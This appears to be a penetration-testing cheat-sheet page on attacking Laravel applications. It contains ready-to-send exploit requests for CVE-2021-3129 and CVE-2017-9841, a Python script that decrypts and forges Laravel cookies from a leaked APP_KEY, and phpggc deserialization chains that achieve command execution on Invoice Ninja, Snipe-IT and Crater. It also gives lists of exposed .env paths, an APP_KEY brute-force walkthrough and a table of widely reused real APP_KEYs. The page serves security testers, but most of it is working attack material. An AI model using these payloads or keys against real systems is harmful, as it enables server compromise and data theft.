# Laravel

[![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/Y8Y41FQ2GA)

{% embed url="<https://github.com/trilokdhaked/Bug-Bounty-Methodology/blob/main/Technologies/Laravel.md>" %}

## Detection

```
Set-Cookie: laravel_session=
```

## Version

```
https://example.com/composer.json
```

Sometimes the version is printed

## Enumeration

{% embed url="<https://github.com/trickest/wordlists/blob/main/technologies/laravel-all-levels.txt>" %}

{% embed url="<https://github.com/trickest/wordlists/blob/main/technologies/laravel.txt>" %}

## SSTI

{% content-ref url="/pages/W7YTJcqF37A9YPhegJeO" %}
[SSTI](/0xss0rz/pentest/web-attacks/ssti.md)
{% endcontent-ref %}

## CVE

Also check [deserialization attacks](#laravel-crypto-killer-deserialization-attacks) part

### CVE-2021-3129 (Remote Code Execution)

```
POST /_ignition/execute-solution HTTP/1.1
Host: example.com
Accept: application/json
Content-Type: application/json

{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}}
```

2. Laravel 4.8.28 \~ 5.x - PHPUnit Remote Code Execution (CVE-2017-9841)

```
curl -d "<?php echo php_uname(); ?>" http://example.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
```

<figure><img src="/files/1rd9SGgGPtznWl1X4YNB" alt=""><figcaption></figcaption></figure>

PoC:

{% embed url="<https://github.com/joshuavanderpoll/CVE-2021-3129/>" %}

## Exposed environment variable

```
http://example.com/.env
```

<figure><img src="/files/AE7nbKTkZfh6hllgWMW1" alt=""><figcaption></figcaption></figure>

Vulnerable path:

```
/.env
/vendor/.env
/lib/.env
/lab/.env
/cronlab/.env
/cron/.env
/core/.env
/core/app/.env
/core/Database/.env
/database/.env
/config/.env
/assets/.env
/app/.env
/apps/.env
/uploads/.env
/sitemaps/.env
/site/.env
/admin/.env
/web/.env
/public/.env
/en/.env
/tools/.env 
/v1/.env
/administrator/.env 
/laravel/.env
```

### RCE

{% embed url="<https://github.com/khadafigans/Laravel-RCE-Exploitation-Toolkit>" %}

## Exposed log files

```
http://example.com/storage/logs/laravel.log

site.com/laravel-folder/storage/logs/laravel.log/ (Search For token)
site.com/laravel-folder/storage/framework/sessions/ (Active session)
```

## Debug mode

* Try to request to [https://example.com](https://example.com/) using POST method (Error 405)
* Using \[] in paramater (ex:example.com/param\[]=0)

If Laravel is in **debugging mode** you will be able to access the **code** and **sensitive data**. For example `http://127.0.0.1:8000/profiles`

{% hint style="success" %}
*Look for* [*APP\_KEY*](#laravel-crypto-killer-deserialization-attacks)
{% endhint %}

## Laravel FileManager

```
/laravel-filemanager/
```

<figure><img src="/files/vcCB2KzbzTTqbfZAmxlh" alt=""><figcaption></figcaption></figure>

## .env <a href="#env" id="env"></a>

Laravel saves the APP it uses to encrypt the cookies and other credentials inside a file called `.env` that can be accessed using some path traversal under: `/../.env`

Laravel will also show this information inside the debug page (that appears when Laravel finds an error and it's activated).

Using the secret `APP_KEY` of Laravel you can decrypt and re-encrypt cookies:

#### Decrypt Cookie <a href="#decrypt-cookie" id="decrypt-cookie"></a>

```python
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv):
    global key
    AES.key_size = 128
    crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
    return crypt_object.decrypt(value)


def mcrypt_encrypt(value, iv):
    global key
    AES.key_size = 128
    crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
    return crypt_object.encrypt(value)


def decrypt(bstring):
    global key
    dic = json.loads(base64.b64decode(bstring).decode())
    mac = dic['mac']
    value = bytes(dic['value'], 'utf-8')
    iv = bytes(dic['iv'], 'utf-8')
    if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
        return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
        #return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
    return ''


def encrypt(string):
    global key
    iv = os.urandom(16)
    #string = dumps(string)
    padding = 16 - len(string) % 16
    string += bytes(chr(padding) * padding, 'utf-8')
    value = base64.b64encode(mcrypt_encrypt(string, iv))
    iv = base64.b64encode(iv)
    mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
    dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
    return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))

app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8
```

## Laravel crypto killer - Deserialization attacks

**By default**, a call to the `decrypt` function will consider the decrypted string as serialized data.

The variable used as the decryption key in the `openssl_decrypt` function is the `APP_KEY`. In summary, a user in possession of this secret will be able to re-encrypt data to carry out a deserialization attack and thus compromise the server hosting the Laravel application.

{% embed url="<https://github.com/synacktiv/laravel-crypto-killer>" %}

{% hint style="danger" %}
***Ninja**, **Snipe-IT** and **Crater** are deployed with a default `.env.example` file containing a default `APP_KEY`, which is likely to be used in production*
{% endhint %}

#### CVE-2024-55555 - Invoice Ninja

Generate a serialization payload:

```
$ php8.2 phpggc Laravel/RCE13 system id -b -f
YToyOntpOjc7Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086MzU6IklsbHVtaW5hdGVcRGF0YWJhc2VcRGF0YWJhc2VNYW5hZ2VyIjoyOntzOjY6IgAqAGFwcCI7YToxOntzOjY6ImNvbmZpZyI7YToyOntzOjE2OiJkYXRhYmFzZS5kZWZhdWx0IjtzOjY6InN5c3RlbSI7czoyMDoiZGF0YWJhc2UuY29ubmVjdGlvbnMiO2E6MTp7czo2OiJzeXN0ZW0iO2E6MTp7aTowO3M6MjoiaWQiO319fX1zOjEzOiIAKgBleHRlbnNpb25zIjthOjE6e3M6Njoic3lzdGVtIjtzOjEyOiJhcnJheV9maWx0ZXIiO319fWk6NztpOjc7fQ==
```

Exploit:

```
$ ./laravel_crypto_killer.py encrypt -k RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno= -v $(php8.2 phpggc Laravel/RCE13 system id -b -f)
[+] Here is your laravel ciphered value, happy hacking mate!
eyJpdiI6ICJhbmE4ck1BVitqWUNjK0dNRi9uV0VnPT0iLCAidmFsdWUiOiAiYndlUTRyaDgyWGhDRFZ1dkxvbVlTcmpoWTR6cmRjTDc0QzRRcjBiVzhrQTU1N0hYS1NxUU9nOUJWbEFNbDVqTDFSNjVBMmpQMzg0b01KVm8vbEZxcHVodEIveE1kV2lOZWVDRWszRlE5T3l3OHhyemZHdWx6Q2Jxcm5Hb0NqdVJVamlZVkZJcDNIR21YeXVwWWVuNURXQjRldDluTG9BczR4SlJKTDV0VGliQ09CRmd2dTA3b0txRStWTEhUdmhCRGlTaEk3TkpRbTlOS2YraWlZUS9odURMOGtrVzh3S2w4NUtiUE9xN1A2ZktDVklMYkNCVnZkVXc2eW02RGY4QklzL3R1RTJkbHpud1drbE1BZ01mU2Zjejd2bDZWSTc4SmV6L1NOQlNlRXdwL1N0YXRnWDJaQzQwRUl5QXhrZzRPSnBzNktEa24zY3pZaXZLQ0ZXZ2NRNnhZaFFycm95cnZ4MjdUa1JsMFB1aTkyTzI1ZzhTbXlyTzV0eFg2dXQ5MkxGc2xWeUhtUFN5WHA4RlAxcGk5cVZWL0cvdCtKbHJLeWp0V3RZUVJSSmxHSXNGSFNJelh1N2t0WWplMExEQSIsICJtYWMiOiAiODhiOGI1MGQzZmQ5NTQwNjllYzUxNjVkM2Y2MjNlZDM5N2Y4YWZmZDRhMjMyMmY1YTQ0ZDhkYjQ3NDkzZDE2MCIsICJ0YWciOiAiIn0=

# Reusing the previous chain on invoiceninja
$ curl -s http://in5.localhost/route/eyJpdiI6[...]0= | head -n1
uid=1500(invoiceninja) gid=1500(invoiceninja) groups=1500(invoiceninja)
```

#### CVE-2024-48987 - Snipe IT - XSRF-TOKEN serialization

```
$ ./laravel_crypto_killer.py encrypt -k 3ilviXqB9u6DX1NRcyWGJ+sjySF+H18CPDGb3+IVwMQ= -v $(php7.4 phpggc Laravel/RCE9 system id -b)
eyJpdiI6ICJvck1SVWxyNDF6Lytaeks4a3NxU0tnPT0iLCAidmFsdWUiOiAiUkI0Z21sbCtZN1lJcWY2OS9HaHNjMDhteGNycGwvSStNQ2FaTDczdHhOTlpUUE5kVExCbkQybm5LRHp5SEtwYkRkeVVXcEZzWVpzMTNRbnJSSnFaaFdOVDczY1hsajFTMzFqNXZ1NFhYZGdjenFBT2s1LytiSURTbDQyU3JWNUMzM3lCRjZxZGhBWDVlMklYR1Y2c29FdnRRVUtvMkkxQkorYnltWGtFOHFUREwwTUU3TWRrWlRGR1FRdTkydE85b0JxeW5WRldOcUFieCtoYnM1UjREaDhBaGg5bzVhK3U1Q2o5OHkwRS80MlFVZmRPMW9SQm0rYVliMTRUTFZWTGc0TjhHK010SWpUclBpeURwT1Mxd3lSWTkvTlpZelcxVGs3Z2xTVTFBdXBvZ1RoSUEyckhaTTJ1TXBUTklZYiswV0NFTEZGa2padHkzUEovRER2Nzh5a2h3OXFKb0dRQ01mMVllMnVMUS8rdGh3N1JWWCtJazhWaEk0K0ROVkhYdWk1ekh2MUZzUGJFZTdkWCszQ1RvcDBkcktpTlBzdlVUVHVEMlRkWmN3ODRza1Y3WXNPSWU5RHdXbEswT1o1UCIsICJtYWMiOiAiNjA0ODE1NjQ1NWY2YWJmNGY5OWE2YTg3YzY0MzUxNDU0YmU0YzQwMDliM2NiMDJkYTg2ODZkNzNmMzJjMWEyZiIsICJ0YWciOiAiIn0=

# Reusing the previous base64 chain to trigger the remote command execution
$ curl -s -H "Cookie: XSRF-TOKEN=ey[...]0=" http://localhost:8000/login | head -n 1
uid=1000(docker) gid=50(staff) groups=50(staff)
```

#### CVE-2024-55556 - Crater - Vulnerable SESSION\_DRIVER cookie

Retrieve the cookie DqNfdAQoevsVc3L2TmqIttblIQGIJPVdLrwoY7xT:

```
$ curl -I http://localhost/login
HTTP/1.1 200 OK
Server: nginx/1.17.10
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/8.1.29
Cache-Control: no-cache, private
Date: Tue, 03 Sep 2024 12:28:44 GMT
Set-Cookie: XSRF-TOKEN=eyJpdiI6ImdOS2lwMEhyNDNja0UzK3pCWEcxMXc9PSIsInZhbHVlIjoiMU1jMWlrYnRhN2ZRUVVvUEFaZVpVcC9Nb0h2U2J1eHJBZFdKcmpqSlcyclBpV1Azb3NXUTBFbkN0T3o3OTlwMk9yM2xLejBMNlV0U2FDalNzL1lhZDRkRUZtZzc2aitwVm40eWNHbC9pakR5SHRmYmN2R1pPSGsxQ01sMEVkZnQiLCJtYWMiOiJmN2M3OTI3MjExNGU4NTNlOTZiMGFkNjZlZmQyOTg2MWUwZjY1MzAyMDQwMzk3ZDM1NWRiZmI2NWVjNjI0OWJhIiwidGFnIjoiIn0%3D; expires=Wed, 04-Sep-2024 12:28:44 GMT; Max-Age=86400; path=/; domain=localhost; samesite=lax
Set-Cookie: laravel_session=eyJpdiI6IldCMGRCUUpkREFNbnRaeTd5RjFuMXc9PSIsInZhbHVlIjoiVlNUempWN2lMd3NKOVNoUzZET2hDZDNueURrRWZydzUyV2MrelFSbE1VcGtUVllja0VCT1dkQytab1FTRHUxZDhNT1NhalNCRFM1T2Fka2V3QUFLVFhZci9QUGRvSUYxdENlblZTOXdsZXhqZGt5Qis0bGoxVjZ6ZjUyUFdQUUwiLCJtYWMiOiIzNmU4NmY4ZTRjYzMzNTI3NDA4ZjVhZjhiOTgxZDBjMTEwYzFiZTExNzVkMmEzMzMwZTRjM2EwZjZmN2QxYTM0IiwidGFnIjoiIn0%3D; expires=Wed, 04-Sep-2024 12:28:44 GMT; Max-Age=86400; path=/; domain=localhost; httponly; samesite=lax
Set-Cookie: DqNfdAQoevsVc3L2TmqIttblIQGIJPVdLrwoY7xT=eyJpdiI6InZ2SlJSNGJ6Z2EveFlCOThIczhka2c9PSIsInZhbHVlIjoiYXVKVm9LWTJONzBxOVkzM0Urb1F0U2FRcmlCeEx3eHk2UU5jcldNNy94Y2RIQ2YyRE9uOXlDQnhIN2lIOGxJVFlBU2I2RDBrTWFDZnRCL3hOcE55ZklNcTFTVnk4SGw2b0RzTWx1SFB0aFNCVWtKeVo0RS9VTUM3eVVYa3VLbmFvdmhzcW9UQ3N6L1BZU2l5U1A4enFuNWIwOFRXTmFUd0ZFZkJrSDdkNU1BZVdkYWhFcWRyUUwwd1pQdWlwRXY5eks4bkk2aTViZHBJWGNYS0xVdjBpNHlMd1EvUXhyczIvd3o4WlcrUzl6SHROQjNpK0MvRVRnMVNFcllMd2g1MkhyVHFZUjVYblB3aWxvdzlGMkhnMWc9PSIsIm1hYyI6IjA0NjE2NGZjMTU4MTY3YjlhOTkzYmFlZjI4ZDRlYWFiNmJjM2U4NTBjZTQ2M2Y3M2IxMWE4MzBhYzZiNDgxYjciLCJ0YWciOiIifQ%3D%3D; expires=Wed, 04-Sep-2024 12:28:44 GMT; Max-Age=86400; path=/; domain=localhost; httponly; samesite=lax
```

Decrypt the cookie:

```
$ ./laravel_crypto_killer.py decrypt -k base64:Bqm5/FxXT5IT0Jx7vbhVvSiMKXTI2JMOCD9XKzHiHJw= -v eyJpdiI6InZ2SlJSNGJ6Z2EveFlCOThIczhka2c9PSIsInZhbHVlIjoiYXVKVm9LWTJONzBxOVkzM0Urb1F0U2FRcmlCeEx3eHk2UU5jcldNNy94Y2RIQ2YyRE9uOXlDQnhIN2lIOGxJVFlBU2I2RDBrTWFDZnRCL3hOcE55ZklNcTFTVnk4SGw2b0RzTWx1SFB0aFNCVWtKeVo0RS9VTUM3eVVYa3VLbmFvdmhzcW9UQ3N6L1BZU2l5U1A4enFuNWIwOFRXTmFUd0ZFZkJrSDdkNU1BZVdkYWhFcWRyUUwwd1pQdWlwRXY5eks4bkk2aTViZHBJWGNYS0xVdjBpNHlMd1EvUXhyczIvd3o4WlcrUzl6SHROQjNpK0MvRVRnMVNFcllMd2g1MkhyVHFZUjVYblB3aWxvdzlGMkhnMWc9PSIsIm1hYyI6IjA0NjE2NGZjMTU4MTY3YjlhOTkzYmFlZjI4ZDRlYWFiNmJjM2U4NTBjZTQ2M2Y3M2IxMWE4MzBhYzZiNDgxYjciLCJ0YWciOiIifQ%3D%3D
[+] Unciphered value identified!
[*] Unciphered value
ae8213eefa7b10062a52485c7dcca8a5a937cc1c|{"data":"a:2:{s:6:\"_token\";s:40:\"X3BnPcQvhG1azDQ04mx3A79rt998EiRBQXINtD3Z\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}}","expires":1725452924}
[*] Base64 encoded unciphered version
b'YWU4MjEzZWVmYTdiMTAwNjJhNTI0ODVjN2RjY2E4YTVhOTM3Y2MxY3x7ImRhdGEiOiJhOjI6e3M6NjpcIl90b2tlblwiO3M6NDA6XCJYM0JuUGNRdmhHMWF6RFEwNG14M0E3OXJ0OTk4RWlSQlFYSU50RDNaXCI7czo2OlwiX2ZsYXNoXCI7YToyOntzOjM6XCJvbGRcIjthOjA6e31zOjM6XCJuZXdcIjthOjA6e319fSIsImV4cGlyZXMiOjE3MjU0NTI5MjR9BwcHBwcHBw=='
[+] Matched serialized data in results! It is time to exploit unserialization!
```

Encrypt the serialized payload - The hash value before the pipe (`|`) (here `ae8213eefa7b10062a52485c7dcca8a5a937cc1c`) should then be passed to the `--session_cookie` option to re-encrypt a valid Laravel cookie.

```
$ php8.2 phpggc Laravel/RCE15 'system' 'id' -b
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086Mjk6IklsbHVtaW5hdGVcUXVldWVcUXVldWVNYW5hZ2VyIjoyOntzOjY6IgAqAGFwcCI7YToxOntzOjY6ImNvbmZpZyI7YToyOntzOjEzOiJxdWV1ZS5kZWZhdWx0IjtzOjM6ImtleSI7czoyMToicXVldWUuY29ubmVjdGlvbnMua2V5IjthOjE6e3M6NjoiZHJpdmVyIjtzOjQ6ImZ1bmMiO319fXM6MTM6IgAqAGNvbm5lY3RvcnMiO2E6MTp7czo0OiJmdW5jIjthOjI6e2k6MDtPOjI4OiJJbGx1bWluYXRlXEF1dGhcUmVxdWVzdEd1YXJkIjozOntzOjExOiIAKgBjYWxsYmFjayI7czoxNDoiY2FsbF91c2VyX2Z1bmMiO3M6MTA6IgAqAHJlcXVlc3QiO3M6Njoic3lzdGVtIjtzOjExOiIAKgBwcm92aWRlciI7czoyOiJpZCI7fWk6MTtzOjQ6InVzZXIiO319fX0=

$ ./laravel_crypto_killer.py encrypt -k base64:Bqm5/FxXT5IT0Jx7vbhVvSiMKXTI2JMOCD9XKzHiHJw= -v Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086Mjk6IklsbHVtaW5hdGVcUXVldWVcUXVldWVNYW5hZ2VyIjoyOntzOjY6IgAqAGFwcCI7YToxOntzOjY6ImNvbmZpZyI7YToyOntzOjEzOiJxdWV1ZS5kZWZhdWx0IjtzOjM6ImtleSI7czoyMToicXVldWUuY29ubmVjdGlvbnMua2V5IjthOjE6e3M6NjoiZHJpdmVyIjtzOjQ6ImZ1bmMiO319fXM6MTM6IgAqAGNvbm5lY3RvcnMiO2E6MTp7czo0OiJmdW5jIjthOjI6e2k6MDtPOjI4OiJJbGx1bWluYXRlXEF1dGhcUmVxdWVzdEd1YXJkIjozOntzOjExOiIAKgBjYWxsYmFjayI7czoxNDoiY2FsbF91c2VyX2Z1bmMiO3M6MTA6IgAqAHJlcXVlc3QiO3M6Njoic3lzdGVtIjtzOjExOiIAKgBwcm92aWRlciI7czoyOiJpZCI7fWk6MTtzOjQ6InVzZXIiO319fX0= -sc=ae8213eefa7b10062a52485c7dcca8a5a937cc1c
[+] Here is your laravel ciphered session cookie
eyJpdiI6ICJxaVNJNnBPejM0SGgzNllSeENKU3lnPT0iLCAidmFsdWUiOiAiblJJQm83R2l6eXRVekxmZGxGU0p2OFFqajZ5STNVai9FdThjZDVzb21ucCt0eVlhS1V5ZldwWnNQdWxiYzlNUkVWWFgweDBXYXBsb1NRTHUvOVBBRjl0UFdLZmszamFLMGVKZ2NXNUJSeXg0bWhLU3duaTVZMnN3cUZzeVZLbHBsNDluYWNySXhiZTU4d3l0dTk4cVE0bDl3NzV4NVVrNTExSmhoVVpHWDJoQXVOWFY0RHdUeWlpUUlJS0JhbEFYMUdDU2w0SlZjSndYNVQyVHd3cFRjaWhqcTA0S2ZNbXVUR1NBQTdpU2JSQVFleER3V0hCV1lJKzB5ZUNCN2NuM2hUa0JFV2lOZlZhSWJVaklLWXlNQnlxZ2swUkdOVG9PRHdhU2NSdmJ2RDMzYzU5RU4zbWoxanN4eUFGcnAvVWluRkw2TlFtQzJlR1FXQzA2eDB2a29oWVB6cUZUOFBST2YwK1F5bFBvUy9HMUduQVRLUEFWZ0hDV3Y2SC9TRDd1aXVXOXFWaFdYVktNeURweGR6b2t6NWxkOUYzRVZBNURuRXNtd2p4V1NWUXZFaHRpRVpGRURqWTd4T0lYTGI2Unk4QlZqQjJ6SVBZdWJoYjI3ZjNVdlNyM1ZXRHpFOWd3V1hIT3NSRC9VTlBFaFhyQWczdVFGUEp5RnZVcWRweWNSWVZyQVljYVNMV0JLQU5VWUpnMGRjSVRQbVZMVjZBQjdibEVpaHdBTTAvMlh2dURpSUFLZ016NHpueXpVdDl1TGN3amx1dllvd2NzaktZNU44UVVRUGllbXlSSjR1WXRJNG5VS1I0a1QzRWRCRTlWbnJtamF4Qmd1aFJnRmtIQWIraFZNWkNBNWpDY1VqS0xxaXdSdE9uRTFIOFh0dnZkazFsMU5zK1dqbnhRc0dUR3FQTUQwVzVwOTBGKzh6Ly9TbDJlYS9pM1RQdEI1cGg1cmNiL05UczZnQmorMkJZUDh1czgvclZKMjZnaXpaMk5wQWEvVUZTOWZuRVhuNlhJc3FOYXFoelNwQjB2OFZJbnhDZ1ZjdEkzd0RETU5WWUsrNVZGUVMySUdDZUdoYXpFQm9hRFJWR280UzBFSVRmcCIsICJtYWMiOiAiZGE5ZTMwMzczMDZjNmQ0MjQ3YzUzYzdlMzcwNzU5NjlmMTlhZDJmYmNhZmE3OWE5MGNlN2RlOTY2MjdjZGJlMCIsICJ0YWciOiAiIn0=
```

```
$ curl -s -H "Cookie: laravel_session=eyJpdiI6IldCMGRCUUpkREFNbnRaeTd5RjFuMXc9PSIsInZhbHVlIjoiVlNUempWN2lMd3NKOVNoUzZET2hDZDNueURrRWZydzUyV2MrelFSbE1VcGtUVllja0VCT1dkQytab1FTRHUxZDhNT1NhalNCRFM1T2Fka2V3QUFLVFhZci9QUGRvSUYxdENlblZTOXdsZXhqZGt5Qis0bGoxVjZ6ZjUyUFdQUUwiLCJtYWMiOiIzNmU4NmY4ZTRjYzMzNTI3NDA4ZjVhZjhiOTgxZDBjMTEwYzFiZTExNzVkMmEzMzMwZTRjM2EwZjZmN2QxYTM0IiwidGFnIjoiIn0%3D; DqNfdAQoevsVc3L2TmqIttblIQGIJPVdLrwoY7xT=eyJ[...]CJ0YWciOiAiIn0=" http://localhost/login | head -n1
uid=1000(crater-user) gid=1000(crater-user) groups=1000(crater-user),0(root),33(www-dat
```

## Cookie

### Checks 'laravel\_session' cookies for known laravel 'APP\_KEY'

BadSecrets:

{% embed url="<https://github.com/blacklanternsecurity/badsecrets/tree/main>" %}

### Cookie Monster

### Cookie Monster

{% embed url="<https://github.com/iangcarroll/cookiemonster>" %}

## APP\_KEY - Bruteforce

By default, each cookie set by Laravel is a value encrypted via the `encrypt` function. Therefore, these values can be used to brute force the associated `APP_KEY`.

```
# curl on a default Laravel installation
$ curl http://localhost/ -I
HTTP/1.1 200 OK
Host: localhost
Connection: close
X-Powered-By: PHP/8.3.22
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache, private
Date: Mon, 23 Jun 2025 12:05:20 GMT
Set-Cookie: XSRF-TOKEN=eyJpdiI6Ilord3hQZ3hJaUR6bFdvKy9pclZYMmc9PSIsInZhbHVlIjoiSTdBZ2tybVN5a0U4Y1VyVDFoNFhOL0g2aFNSZUY0c2NTZjROd2piQW82NDE5dXFUclFSNUVMS0hvS2k1ZHZpM2hOcUpqeDR0N0lnWHVObHA3VjJ3c2tiNHNoQnMxcHJVYzVOTzg0a1kxNVhhcXZMeHNqOWtWaGgydGZ5d1RTbHYiLCJtYWMiOiIyMDU2YzZkZTU2MmUxZmI3YWNlMjQwZGFiYzIzOGI1M2QxMDIyMGEyYzc3N2RlOTE2NWE4ZGI1YTE2N2RkYmI5IiwidGFnIjoiIn0%3D; expires=Mon, 23 Jun 2025 14:05:20 GMT; Max-Age=7200; path=/; samesite=lax
Set-Cookie: laravel_session=eyJpdiI6Imt3OVJISzJHdGc1ZlE1UFZqWXJZTnc9PSIsInZhbHVlIjoib0JkTkZTTjdVbnNnWWh1aDRnNFM3WFc1eUdlSlovT08rRWNTT3ZsRHdZU1VLSGsxYUhvYTEzVjRQZGtzZFFzOWdVRUJBWU0ybnhITnFXZUd6N1JXanpJaW9YWS9tTDR1TWlIT1ZGaStqVXFUL1hYK1JWMDdSc0VacHlwMjVYTVYiLCJtYWMiOiIxMTg1OGI3MmQ4NjhjMWM2NGYzZGY2MTIyMWM5MjFkYWEyOWRhMWRjMDM3ZmQ4NjM3YWViODM3MDJkMGZhOGI3IiwidGFnIjoiIn0%3D; expires=Mon, 23 Jun 2025 14:05:20 GMT; Max-Age=7200; path=/; httponly; samesite=lax
```

Bruteforce:

```
$ ./laravel_crypto_killer.py bruteforce -v eyJpdiI6Imt3OVJISzJHdGc1ZlE1UFZqWXJZTnc9PSIsInZhbHVlIjoib0JkTkZTTjdVbnNnWWh1aDRnNFM3WFc1eUdlSlovT08rRWNTT3ZsRHdZU1VLSGsxYUhvYTEzVjRQZGtzZFFzOWdVRUJBWU0ybnhITnFXZUd6N1JXanpJaW9YWS9tTDR1TWlIT1ZGaStqVXFUL1hYK1JWMDdSc0VacHlwMjVYTVYiLCJtYWMiOiIxMTg1OGI3MmQ4NjhjMWM2NGYzZGY2MTIyMWM5MjFkYWEyOWRhMWRjMDM3ZmQ4NjM3YWViODM3MDJkMGZhOGI3IiwidGFnIjoiIn0%3D
[*] The option --key_file was not defined, using files from the folder wordlists...
  0%|                                                     | 0/1 [00:00<?, ?it/s]
[+] It is your lucky day! A key was identified!
Cipher : eyJpdiI6Imt3OVJISzJHdGc1ZlE1UFZqWXJZTnc9PSIsInZhbHVlIjoib0JkTkZTTjdVbnNnWWh1aDRnNFM3WFc1eUdlSlovT08rRWNTT3ZsRHdZU1VLSGsxYUhvYTEzVjRQZGtzZFFzOWdVRUJBWU0ybnhITnFXZUd6N1JXanpJaW9YWS9tTDR1TWlIT1ZGaStqVXFUL1hYK1JWMDdSc0VacHlwMjVYTVYiLCJtYWMiOiIxMTg1OGI3MmQ4NjhjMWM2NGYzZGY2MTIyMWM5MjFkYWEyOWRhMWRjMDM3ZmQ4NjM3YWViODM3MDJkMGZhOGI3IiwidGFnIjoiIn0%3D
Key : base64:CGhMqYXFMzbOe048WS6a0iG8f6bBcTLVbP36bqqrvuA=
[*] Unciphered value
1beeb01afabf67cf1a1661bb347aa20dd68fff0f|BRrlfYbBn5XQK2vkYAcu7GVSABKSQrskDVjtQmgx
100%|█████████████████████████████████████████████| 1/1 [00:05<00:00,  5.00s/it]
[*] 1 cipher(s) loaded
[+] Found a valid key for 1 cipher(s)!
[-] No serialization pattern matched, probably no way to unserialize from this :(
[+] Results saved in the file results/results.json
```

## APP\_KEY top 10

{% embed url="<https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis>" %}

| Position | Number of public servers sharing it | APP\_KEY                                     | Description                                                                           |
| -------- | ----------------------------------- | -------------------------------------------- | ------------------------------------------------------------------------------------- |
| 🥇       | 561                                 | W8UqtE9LHZW+gRag78o4BCbN1M0w4HdaIFdLqHJ/9PA= | Default key of UltimatePOS available on CodeCanyon                                    |
| 🥈       | 491                                 | SbzM2tzPsCSlpTEdyaju8l9w2C5vmtd4fNAduiLEqng= | Frequently used in bootstrapped projects                                              |
| 🥉       | 415                                 | otfhCHVghYrivHkzWqQnhnLmz0bZO72lKX7TxfD6msI= | Default key of XPanel SSH User Management                                             |
| 4️⃣      | 313                                 | U29tZVJhbmRvbVN0cmluZ09mMzJDaGFyc0V4YWN0bHk= | base64 value of SomeRandomStringOf32 CharsExactly                                     |
| 5️⃣      | 257                                 | FBhoCqWGOmuNcUh/3E5cnwB3zNCF4rZ7G19WRW4KVOs= | APP\_KEY shared between unrelated projects                                            |
| 6️⃣      | 216                                 | U29tZVJhbmRvbVN0cmluZw==                     | Default APP\_KEY on older Laravel Version base64 value of SomeRandomString            |
